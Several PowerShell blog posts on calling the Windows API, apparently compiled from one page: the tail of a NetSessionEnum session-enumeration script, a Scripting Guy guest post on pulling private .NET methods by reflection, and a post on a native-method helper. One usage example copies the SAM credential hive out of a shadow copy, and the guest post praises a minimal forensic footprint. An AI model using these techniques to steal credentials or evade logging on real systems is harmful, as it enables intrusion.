[ref]$TotalEntries, [ref]$ResumeHandle) if ($CallResult -ne 0){ echo "Mmm something went wrong!`nError Code: $CallResult" } else { if ([System.IntPtr]::Size -eq 4) { echo "`nNetapi32::NetSessionEnum Buffer Offset --> 0x$("{0:X8}" -f $OutBuffPtr.ToInt32())" } else { echo "`nNetapi32::NetSessionEnum Buffer Offset --> 0x$("{0:X16}" -f $OutBuffPtr.ToInt64())" } echo "Result-set contains $EntriesRead session(s)!" # Change buffer offset to int $BufferOffset = $OutBuffPtr.ToInt64() # Loop buffer entries and cast pointers as SessionInfo10 for ($Count = 0; ($Count -lt $EntriesRead); $Count++){ $NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset $Info = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr,[type]$SessionInfo10) $Info $BufferOffset = $BufferOffset + $SessionInfo10StructSize } echo "`nCalling NetApiBufferFree, no memleaks here!" [Netapi32]::NetApiBufferFree($OutBuffPtr) |Out-Null } }
I have a small, sinister, domain set up at home which I use for testing/dev. You can see the output of Invoke-NetSessionEnum below.
Conclusion
Hopefully this post has given you some ideas about incorporating Windows API calls in your PowerShell scripts. Doing so means that there is really nothing which you can’t achieve in PowerShell. As I mentioned in the introduction, there is a way to avoid runtime C# compilation by using .NET reflection, I highly recommend that you have a look at some of the examples in the PowerSploit framework to see how this is done.
Remember, stay calm and [Winmm]::mciSendString(«set CDAudio door open», $null, $null, [IntPtr]::Zero)!
Summary: Guest blogger, Matt Graeber, talks more about interacting with the Windows API.
Microsoft Scripting Guy, Ed Wilson, is here. Matt Graeber is back today with Part 2 of a three-part series that started yesterday: Use PowerShell to Interact with the Windows API: Part 1.
Now, here’s Matt…
In my last post, I described how to use the Add-Type cmdlet to interact with the Windows API; specifically, the CopyFile function in kernel32.dll. Today, I’m going to describe another method in which you can interact with Windows API functions: extracting private methods from the .NET Framework.
For most people, the Add-Type method will always be sufficient. However, for people like me who write security and forensics tools, where a minimal forensic footprint is necessary, Add-Type doesn’t cut it because it writes temporary files to disk and calls csc.exe to compile C# code. So if having a minimal forensic footprint is a necessity for your script (or if you like to do things the hard way), there are other methods of calling Windows API functions.
A large portion of the .NET Framework is actually built on the Windows API. It’s just not exposed to you publicly. Pulling out the Win API functions that are used by the .NET Framework requires a basic understanding of the internal layout of .NET.
There are several tools available for exploring the .NET Framework, including these:
- .NET Reflector 8
- ILSpy .NET Decompiler
What you need to know for our purposes is that Windows API function calls in .NET are usually non-public (that is, private), static methods that have a DllImport attribute associated with them. To help us dig into the .NET Framework, I wrote a helper function called Find-WinAPIFunction. (The script is also available in the Script Center Repository.) It searches the loaded modules in a Windows PowerShell session for a reference to a private Windows API function.
Find-WinAPIFunction function:
function Find-WinAPIFunction
{
<#
.SYNOPSIS
Searches all loaded assemblies in your PowerShell session for a
Windows API function.
.PARAMETER Module
Specifies the name of the module that implements the function. This
is typically a system dll (e.g. kernel32.dll).
.PARAMETER FunctionName
Specifies the name of the function you’re searching for.
.OUTPUTS
[System.Reflection.MethodInfo]
.EXAMPLE
Find-WinAPIFunction kernel32.dll CopyFile
#>
[CmdletBinding()]
[OutputType([System.Reflection.MethodInfo])]
Param
(
[Parameter(Mandatory = $True, Position = 0)]
[ValidateNotNullOrEmpty()]
[String]
$Module,
[Parameter(Mandatory = $True, Position = 1)]
[ValidateNotNullOrEmpty()]
[String]
$FunctionName
)
[System.AppDomain]::CurrentDomain.GetAssemblies() |
ForEach-Object { $_.GetTypes() } |
ForEach-Object { $_.GetMethods(‘NonPublic, Public, Static’) } |
ForEach-Object { $MethodInfo = $_; $_.GetCustomAttributes($false) } |
Where-Object {
$MethodInfo.Name.ToLower() -eq $FunctionName.ToLower() -and
$_.Value -eq $Module
} | ForEach-Object { $MethodInfo }
}
The Find-WinAPIFunction function works by drilling down through all of the loaded assemblies in a Windows PowerShell session. To understand what’s going on, think of your Windows PowerShell session as a series of containers. It starts with an AppDomain. Each Windows PowerShell session has a default AppDomain, which you can think of as an execution sandbox.
Within an AppDomain, there are multiple loaded assemblies. An assembly is a container for a module, and it is typically a DLL, such as mscorlib.dll or System.dll. Within assemblies, are modules that are containers for types (that is, classes).
Finally, a type is a container for members. Members consist of methods, properties, fields, events, nested types, and constructors. The concept of members should be familiar to those who are familiar with the Get-Member cmdlet. The following diagram may help illustrate this concept of compartmentalization more clearly.
Find-WinAPIFunction starts by iterating through all assemblies in the current AppDomain. It then iterates through all types within those assemblies, ultimately looking for the method you’re searching for.
Now that we know that a CopyFile method exists, we know that we can use it in Windows PowerShell. However, rather than searching for it each time with Find-WinAPIFunction, let’s pull out some information that will allow us to quickly get a reference to our target CopyFile method:
As can be seen in this screenshot, we need the name of the assembly and type that contains the CopyFile method. These are respectively mscorlib.dll and Microsoft.Win32.Win32Native.
Now let’s pull everything together with another implementation of the Copy-RawItem function, which made its debut in Part 1 of this series. This time, we have the Private .NET Method version, which is also available in the Script Center Repository.
Copy-RawItem Private .NET Method version:
function Copy-RawItem
{
<#
.SYNOPSIS
Copies a file from one location to another including files contained within DeviceObject paths.
.PARAMETER Path
Specifies the path to the file to copy.
.PARAMETER Destination
Specifies the path to the location where the item is to be copied.
.PARAMETER FailIfExists
Do not copy the file if it already exists in the specified destination.
.OUTPUTS
None or an object representing the copied item.
.EXAMPLE
Copy-RawItem ‘\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SAM’ ‘C:\temp\SAM’
#>
[CmdletBinding()]
[OutputType([System.IO.FileSystemInfo])]
Param (
[Parameter(Mandatory = $True, Position = 0)]
[ValidateNotNullOrEmpty()]
[String]
$Path,
[Parameter(Mandatory = $True, Position = 1)]
[ValidateNotNullOrEmpty()]
[String]
$Destination,
[Switch]
$FailIfExists
)
# Get a reference to the internal method – Microsoft.Win32.Win32Native.CopyFile()
$mscorlib = [AppDomain]::CurrentDomain.GetAssemblies() | ? {$_.Location -and ($_.Location.Split(‘\’)[-1] -eq ‘mscorlib.dll’)}
$Win32Native = $mscorlib.GetType(‘Microsoft.Win32.Win32Native’)
$CopyFileMethod = $Win32Native.GetMethod(‘CopyFile’, ([Reflection.BindingFlags] ‘NonPublic, Static’))
# Perform the copy
$CopyResult = $CopyFileMethod.Invoke($null, @($Path, $Destination, ([Bool] $PSBoundParameters[‘FailIfExists’])))
$HResult = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
if ($CopyResult -eq $False -and $HResult -ne 0)
{
# An error occured. Display the Win32 error set by CopyFile
throw ( New-Object ComponentModel.Win32Exception )
}
else
{
Write-Output (Get-ChildItem $Destination)
}
}
This version of Copy-RawItem provides identical functionality as the Add-Type version, but it implements the private method extraction technique described in this post. The function starts by getting a reference to mscorlib.dll, which is the assembly that contains the CopyFile method. It then gets a reference to the type that contains the Microsoft.Win32.Win32Native method by calling the GetType method. Finally, it gets a reference to the CopyFile method by calling the GetMethod method, specifying that a NonPublic, Static method is requested.
The technique described requires a bit more knowledge of the layout of the .NET Framework. However, armed with this knowledge, you will be able to pull internal functionality into Windows PowerShell, which wouldn’t otherwise be available to you.
In the last and final post of the series, we’ll dig into .NET internals even more and see how to use reflection to dynamically build a method that calls Windows API functions.
The two scripts used today are available in the Script Center Repository:
- Find-WinAPIFunction
- Private .NET Method version
~Matt
Thanks, Matt. Join us tomorrow as Matt brings you the final part of this series.
I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.
Ed Wilson, Microsoft Scripting Guy
Author
The «Scripting Guys» is a historical title passed from scripter to scripter. The current revision has morphed into our good friend Doctor Scripto who has been with us since the very beginning.
After my previous post of some snippets from my PowerShell profile; I received another email from the person that prompted me to write that post, asking some questions about calling Windows APIs from PowerShell. It turns out that this isn’t so straight-forward, despite PowerShell’s pitch as a system automation language!
The confusion came from various varying samples online of how to do this in PowerShell; and they all used blocks of C#, which many PowerShell users aren’t particularly familiar with.
Although I couldn’t find a way to do this without the C# wrapper, I did think it was worthwhile extracting some parts out of the C# code to avoid having to manipulate so much C# code in a quoted string inside PowerShell to add new Windows API methods. Unfortunately the argument types still need to be in C#, because I don’t know how to map them from the C++ examples easily.
It’s very basic; and can probably be improved by anyone that has some knowledge of calling Windows APIs; but hopefully it’s a little simpler if you’re less comfortable with C#.
In PowerShell profile:
# Helper functions for building the class
$script:nativeMethods = @();
function Register-NativeMethod([string]$dll, [string]$methodSignature)
{
$script:nativeMethods += [PSCustomObject]@{ Dll = $dll; Signature = $methodSignature; }
}
function Add-NativeMethods()
{
$nativeMethodsCode = $script:nativeMethods | % { "
[DllImport(`"$($_.Dll)`")]
public static extern $($_.Signature);
" }
Add-Type @"
using System;
using System.Runtime.InteropServices;
public static class NativeMethods {
$nativeMethodsCode
}
"@
}
# Add methods here
Register-NativeMethod "user32.dll" "bool SetForegroundWindow(IntPtr hWnd)"
Register-NativeMethod "user32.dll" "bool ShowWindowAsync(IntPtr hWnd, int nCmdShow)"
# This builds the class and registers them (you can only do this one-per-session, as the type cannot be unloaded?)
Add-NativeMethods
And to use them:
# (the Out-Null is just to throw away the return value)
[NativeMethods]::SetForegroundWindow((Get-Process -name notepad).MainWindowHandle) | Out-Null
[NativeMethods]::ShowWindowAsync((Get-Process -name notepad).MainWindowHandle, 2) | Out-Null
Hopefully this helps a little. If anyone can suggest improvements (being able to paste method signatures directly from the documentation would be good), I’ll update the post.